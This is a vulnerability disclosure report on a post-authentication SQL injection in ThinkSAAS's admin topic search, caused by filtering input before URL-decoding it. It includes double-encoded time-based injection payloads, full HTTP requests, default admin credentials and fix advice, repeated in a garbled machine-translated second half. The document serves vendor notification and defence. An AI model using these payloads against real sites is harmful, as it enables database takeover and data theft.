Vulnerability name: ThinkSAAS latest version app/topic/action/admin/topic.php contains a SQL injection vulnerability (administrator privileges required)

Author: Author of the vuln: Qianxin, Network Security Department, Product-Safety Team ( Unc1e )

This document provides responsible disclosure, aiming to give the open-source code vendor details of the security vulnerability and to facilitate a fix before the vulnerability is exploited in the wild.

0x01 Background

Last December, there was a security issue caused by improper URLDecode. See https://github.com/thinksaas/ThinkSAAS/issues/24

To summarize: in ThinkSAAS-master\app\topic\action\admin\topic.php, improper filtering of the keyword parameter led to SQL injection.

In last year’s fix (click here to go directly), the $title variable was first replaced with $kw,

and it was then filtered through the tsFilter function.

But this still carries a security risk

0x02 Vulnerability Analysis

Global filtering analysis

In ThinkSAAS-master\thinksaas\thinksaas.php#62, filtering is done with tsgpc

This is meant to prevent SQL injection

(1) Improper filtering logic in the tsFilter function

The tsFilter function is located in ThinkSAAS-master\thinksaas\tsFunction.php (click here to go directly)

This function replaces certain dangerous keywords with nothing, but it makes a mistake here: it replaces only once, which allows an attacker to use the double-write technique to construct a keyword like

SELselect ECT 

to smuggle out a real SELECT

Therefore, it is recommended to change the if that replaces only once into a while that replaces in a loop

(2) Improper filtering order

Note: the problem in (1) above is not the main one — even without problem (1), we could still carry out the SQL injection attack.

The logic implemented in app/topic/action/admin/topic.php (click here to go directly) takes the user-input variable $_GET['kw'], filters it first, and then decodes it with the URLDecode function, which creates the SQL injection vulnerability.

Simply put, the problem is that the value being filtered differs from the value that is finally concatenated and passed into the database query.

The steps are as follows:

1, User-input param: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520

 
2, the $kw param the server received (the server auto URL-decodes once): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20
  - first goes through tsgpc() in thinksaas/thinksaas.php#62
  - tsgpc() is essentially a wrapper around addslashes() to escape quotes [there are no single quotes at all at this point]
  - then goes to tsFilter() on line 13 above to filter blacklisted keywords [likewise, it performs no operation]
	- the parameter is unchanged
  
3, $kw=urldecode(tsFilter($_GET['kw'])); 
at this point the $kw parameter is URL-decoded once more, restoring its "true face":
PoC' and (select 1 from (select sleep(1))x) -- 
  
4, the statement finally passed into the database query (causing SQL injection):
SELECT * FROM ts_topic WHERE `title` like '%PoC' and (select 1 from (select sleep(1))x) -- %' ORDER BY addtime desc

Or, if this is still unclear, you can add “print the SQL statement” debug code at thinksaas\tsApp.php#165, as shown in the figure below:

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1
Host: thinksaas
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://thinksaas/index.php?install=result
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957
Connection: close

0x03 Vulnerability Verification

First, visit the “system administration login” page and enter the account and password to log in to the backend.

http://thinksaas/index.php?app=user&ac=system
- the default account and password are
- admin@admin.com / 123456

Next, visit the URL

http://thinksaas//index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520

You can observe a 2-second delay on the page — this is the proof of concept (PoC) for the vulnerability.

When actually exploiting this vulnerability, an attacker can use logical operations and similar means to gain full control of the database, performing dangerous operations such as querying information from the database and writing a webshell.

0x04 Remediation

(1) Improve the tsFilter function

The tsFilter function is located in ThinkSAAS-master\thinksaas\tsFunction.php (click here to go directly)

Although a blacklist approach is not recommended for preventing SQL injection… as a fix, the if in the tsFunction function that replaces only once can be changed into a while that replaces in a loop

(2) Fix the logic in topic.php

It is best to remove urldecode and filter directly.

With a [decode first, then filter] approach, the risk remains, because URLDecode decoding lets attackers bypass the global tsgpc() function; only using the addslashes function correctly can truly prevent SQL injection.

Change the logic implemented in app/topic/action/admin/topic.php (click here to go directly) to

$kw=tsFilter($_GET['kw']);  //recommended

CVE request info

0x01 Summay

In last December last year, there were security problems caused by improper URLDecode. Referencehttps://github.com/thinksaas/ThinkSAAS/issues/24

To sum up, it is inThinkSAAS-master\app\topic\action\admin\topic.php, improper filtering of keyword parameters leads to SQL injection.

In last year’s fix plan (clickHereDirect), the first is$titleChanged$kwVariable,

And, aftertsFilterFunction filtering.

However, there are still security risks now.

# Responsible Vulnerability Disclosure info

Title: 
	ThinkSAAS has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php

Desc:
  ThinkSAAS before 3.52 has SQL injection via the /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC title parameter(need the privilege of admin), allowing logged attackers to execute arbitrary SQL commands.	This is a bypass of CVE-2020-35337. 

CVSS v3.1 Vector: 
- 7.5
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H

Result:
	The vendor has confirmed this vuln and updated [ThinkSAAS 3.53] to fix this vuln.




Reference:
- https://github.com/thinksaas/ThinkSAAS/issues/28

0x02 security vulnerability analysis

Global filtering analysis

In ThinkSAAS-master\thinksaas\thinksaas.php#62, usetsgpcFilter

Using addslashes to prevent SQL injection

(1)tsFilterImproper function filtering logic

tsFilterFunctionThinkSAAS-master\thinksaas\tsFunction.phpIn (clickHereDirect)

This function replaces some of the dangerous keywords with null, but an error is made here: it is replaced only once, causing attackers to use the double-write method to construct

SELselect ECT 

To escape from the realSELECT

Therefore, we recommend that youReplace only onceTheIf, change to meetingLoop replacementTheWhile

(2) improper filtering order

Please note: The problem in (1) just now is not the most important-even if there is no problem in (1), we can also carry out SQL injection attacks.

Inapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), is the user input variable$_get ['kw']The SQL injection vulnerability is caused by filtering and then using URLDecode function decoding.

In short, it isThe value of the filter.WithFinally concatenate and substitute the values of the Query DatabaseProblems caused by differences.

The procedure is as follows:

1, User-input param: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520

 
2, the $kw param Server received(has been auto UrlDecoded for once): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20
  - goto thinksaas/thinksaas.php#62 via tsgpc()
  - tsgpc() actually do addslashes() to escape [',"][there is no [',"], you konw]
  - then via the line 13 tsFilter() to filter black-word[actually do no operation]
	- param no change
  
3, $kw=urldecode(tsFilter($_GET['kw']));  
 notice the $kw param has been UrlDecoded agained (for twice, you know):
PoC' and (select 1 from (select sleep(1))x) -- 
  
4,So the impace is: Post-Auth SQL-injection:
SELECT * FROM ts_topic WHERE `title` like '%PoC' and (select 1 from (select sleep(1))x) -- %' ORDER BY addtime desc

Or if you still feel unclear, you canthinksaas\tsApp.php#165Add the debugging code of “print SQL statement”, as shown in the following figure:

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1
Host: thinksaas
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://thinksaas/index.php?install=result
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957
Connection: close

Causing a delay of 2 seconds

0x03 vulnerability verification(PoC & EXPLOIT)

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1

First, access the system management login interface, enter the account and password to log on to the background.

http://thinksaas/index.php?app=user&ac=system
- Default password is:
- admin@admin.com / 123456

Next, visit the URL

http://thinksaas//index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520

A 2-second latency is observed on the web page, which is the proof of concept (PoC) of the vulnerability.

When exploiting this vulnerability, attackers can use logical operations to fully control the database, query information in the database, write data to webshell, and other dangerous operations.

0x04 vulnerability fix

(1) optimizationtsFilterFunction

tsFilterFunctionThinkSAAS-master\thinksaas\tsFunction.phpIn (clickHereDirect)

We recommend that you do not use a blacklist to prevent SQL injection. However, if the solution is fixed, you can tsFunction the functionReplace only onceTheIf, change to meetingLoop replacementTheWhile

(2) fixed the logic in topic.php.

Best removeurldecode, filter directly.

If [decode first, then filter], there is still a risk, because the URLDecode decode, so that attackers can bypass the globaltsgpc()To prevent SQL injection, use the addslashes function correctly.

Willapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), changed

$kw=tsFilter($_GET['kw']);  //recommended

0x05 Time Line